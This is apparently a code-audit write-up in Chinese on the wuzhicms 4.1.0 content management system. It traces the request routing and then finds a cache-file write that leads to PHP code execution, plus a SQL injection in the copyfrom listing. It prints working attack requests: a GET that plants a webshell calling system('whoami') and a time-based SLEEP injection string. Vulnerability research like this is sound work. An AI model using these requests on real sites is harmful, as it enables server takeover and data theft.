路由規則
入口文件:index.php
<?php
// +----------------------------------------------------------------------
// | wuzhicms [ 五指互聯網站內容管理系統 ]
// | Copyright (c) 2014-2015 http://www.wuzhicms.com All rights reserved.
// | Licensed ( http://www.wuzhicms.com/licenses/ )
// | Author: wangcanjia <phpip@qq.com>
// +----------------------------------------------------------------------
/*** 程序入口文件*///檢測PHP環境
if(PHP_VERSION < '5.2.0') die('Require PHP > 5.2.0 ');
//定義當前的網站物理路徑
define('WWW_ROOT',dirname(__FILE__).'/');require './configs/web_config.php';
require COREFRAME_ROOT.'core.php';$app = load_class('application');
$app->run();
?>
跟進load_class方法
function load_class($class, $m = 'core', $param = NULL) {static $static_class = array();//判斷是否存在類,存在則直接返回if (isset($static_class[$class])) {return $static_class[$class];}$name = FALSE;if (file_exists(COREFRAME_ROOT.'app/'.$m.'/libs/class/'.$class.'.class.php')) {$name = 'WUZHI_'.$class;if (class_exists($name, FALSE) === FALSE) {require_once(COREFRAME_ROOT.'app/'.$m.'/libs/class/'.$class.'.class.php');}}//如果存在擴展類,則初始化擴展類if ($class!='application' && $class!='admin' && file_exists(COREFRAME_ROOT.'app/'.$m.'/libs/class/EXT_'.$class.'.class.php')) {$name = 'EXT_'.$class;if (class_exists($name, FALSE) === FALSE) {require_once(COREFRAME_ROOT.'app/'.$m.'/libs/class/EXT_'.$class.'.class.php');}}if ($name === FALSE) {$full_dir = '';if(OPEN_DEBUG) $full_dir = COREFRAME_ROOT.'app/'.$m.'/libs/class/';echo 'Unable to locate the specified class: '.$full_dir.$class.'.class.php';exit();}
如果$static_class
變量中存在類就直接獲取,否則從地址coreframe/app/core/libs/class/$class.class.php
中獲取
類名在wuzhicms中都定義為WUZHI_$class
類。那么load_class('application')
即加載WUZHI_application
類
final class WUZHI_application {private $_m; // 模塊名,取值方式:Mprivate $_f; // 文件名 取值方式:Fprivate $_v; // 方法名 取值方式:Vprivate function setconfig() {$sn = $_SERVER["SERVER_NAME"];$route_config = get_config('route_config'); // $config[$filename] = include WWW_ROOT.'configs/'.$filename.'.php';if(isset($route_config[$sn])) {$route_config = $route_config[$sn];} else {$route_config = $route_config['default'];}
get_config(route_config)
方法即從www/configs/route_config.php
中讀取配置,route_config.php
內容如下
return array('default'=>array('m'=>'content', 'f'=>'index', 'v'=>'init'),
);
即調用content
模塊的index.php
文件的init()
方法,從目錄結構中查找對應的文件,可以判斷出模塊即為coreframe/app/content
。目錄結構如下
wuzhicms-4.1.0
├─bin
├─caches
└─coreframe└─app├─affiche├─appupdate├─attachement├─collect├─content├─admin├─fields├─libs├─city.php├─...├─index.php
wuzhicms的coreframe下的文件路由訪問形式均為:http://ip:port/wuzhicms/index.php?m=目錄&f=文件名&v=方法&_su=wuzhicms
文件寫入漏洞
主要看file_put_contents函數里面的參數是否可控,按兩下shift全局查找一下,經過查找發現coreframe/app/core/libs/function/common.func.php中存在filename及data參數可控
點擊查看發現在set_cache方法里面
/*** 寫入緩存* @param $filename 文件名* @param $data 數組或者字符串* @param string $dir 寫入目錄名,文件緩存寫入:/caches/$dir* @return bool*/
function set_cache($filename, $data, $dir = '_cache_'){static $_dirs;if ($dir == '') return FALSE;if (!preg_match('/([a-z0-9_]+)/i', $filename)) return FALSE;$cache_path = CACHE_ROOT . $dir . '/';if (!isset($_dirs[$filename . $dir])) {if (!is_dir($cache_path)) {mkdir($cache_path, 0777, true);}$_dirs[$filename . $dir] = 1;}$filename = $cache_path . $filename . '.' . CACHE_EXT . '.php';if (is_array($data)) {$data = '<?php' . "\r\n return " . array2string($data) . '?>';}file_put_contents($filename, $data);
}
ctrl+B看看誰又調用了set_cache方法,發現在coreframe/app/attachment/admin/index.php的set方法里面調用
public function set(){if (isset($GLOBALS['submit'])) {set_cache(M, $GLOBALS['setting']);MSG(L('operation_success'), HTTP_REFERER, 3000);} else {$show_dialog = 1;load_class('form');$setting = &$this->_cache;if(!isset($setting['show_mode'])) {$setting = array('show_mode'=>2,'watermark_enable'=>1,'watermark_pos'=>0,'watermark_text'=>'www.wuzhicms.com');set_cache(M, $setting);
}include $this->template('set', M);}}
file_put_contents($filename, d a t a ) , data), data),data就是$GLOBALS[‘setting’],是我們可控的,我們可以往里面寫入惡意代碼,緩存文件名是不可控的,現在就要找到一個可以包含該緩存文件的地方
function get_cache($filename, $dir = '_cache_'){$file = get_cache_path($filename, $dir);if (!file_exists($file)) return '';$data = include $file;return $data;
}
查找該文件中是否存在get_cache()
方法的調用,發現有ueditor方法調用了
public function ueditor(){if (isset($GLOBALS['submit'])) {$cache_in_db = cache_in_db($GLOBALS['setting'], V, M);set_cache(V, $GLOBALS['setting']);MSG(L('operation_success'), HTTP_REFERER, 3000);}else {$setting = get_cache(V);
if(empty($setting)) $setting = cache_in_db('', V, M);include $this->template(V, M);}}
# 1 寫入一句話木馬到緩存文件
GET /wuzhicms/index.php?m=attachment&f=index&v=set&_su=wuzhicms&submit=1&setting=<%3fphp+system"whoami")%3b%3f>
# 2 讀取緩存文件
GET /wuzhicms/index.php?m=attachment&f=index&v=ueditor&_su=wuzhicms
sql注入漏洞
也是和上面操作一樣的,搜索看哪里存在sql查詢語句,這里發現在coreframe/app/core/libs/class/mysql.class.php文件下,提供了一個名為query
的方法,用于執行SQL查詢
public function query($sql, $type = '', $cachetime = FALSE) {//if($_SERVER['REMOTE_ADDR']=='127.0.0.1') echo $sql."<br>";$func = $type == 'UNBUFFERED' && @function_exists('mysql_unbuffered_query') ? 'mysql_unbuffered_query' : 'mysql_query';if(!($query = $func($sql, $this->link)) && $type != 'SILENT') {$this->halt('MySQL Query Error', $sql);}$this->querynum++;$this->histories[] = $sql;return $query;
}
接下來追蹤query方法,看哪里調用了它
發現很多地方都調用了
先看delete方法下的調用,它把$sql參數當作sql語句執行了,這里就很有可能存在sql注入漏洞了
public function delete($table, $where = '') {$where = $where ? ' WHERE '.$where: '';$sql = 'DELETE FROM `'.$this->tablepre.$table.'`'.$where;return $this->query($sql);
}
追蹤下$where參數,看是否可控
public function listing() {$siteid = get_cookie('siteid');$page = isset($GLOBALS['page']) ? intval($GLOBALS['page']) : 1;$page = max($page,1);if(isset($GLOBALS['keywords'])) {$keywords = $GLOBALS['keywords'];$where = "`name` LIKE '%$keywords%'";} else {$where = '';}$result = $this->db->get_list('copyfrom', $where, '*', 0, 20,$page);$pages = $this->db->pages;$total = $this->db->number;include $this->template('copyfrom_listing');
}
發現$where參數是由全局變量keyword賦值的,我們可以控制,而且也沒有過濾,這樣的話就會存在sql注入漏洞了
梳理一下調用過程就是:copyfrom文件下的listing方法中存在一個可控全局變量參數keywords,賦值給$where,插入sql查詢語句,并且被執行了
m=core&f=copyfrom&v=listing&_su=wuzhicms&keywords=1' AND (SELECT 1228 FROM (SELECT(SLEEP(5)))jFgw)-- JQJJ
可以看到成功延時了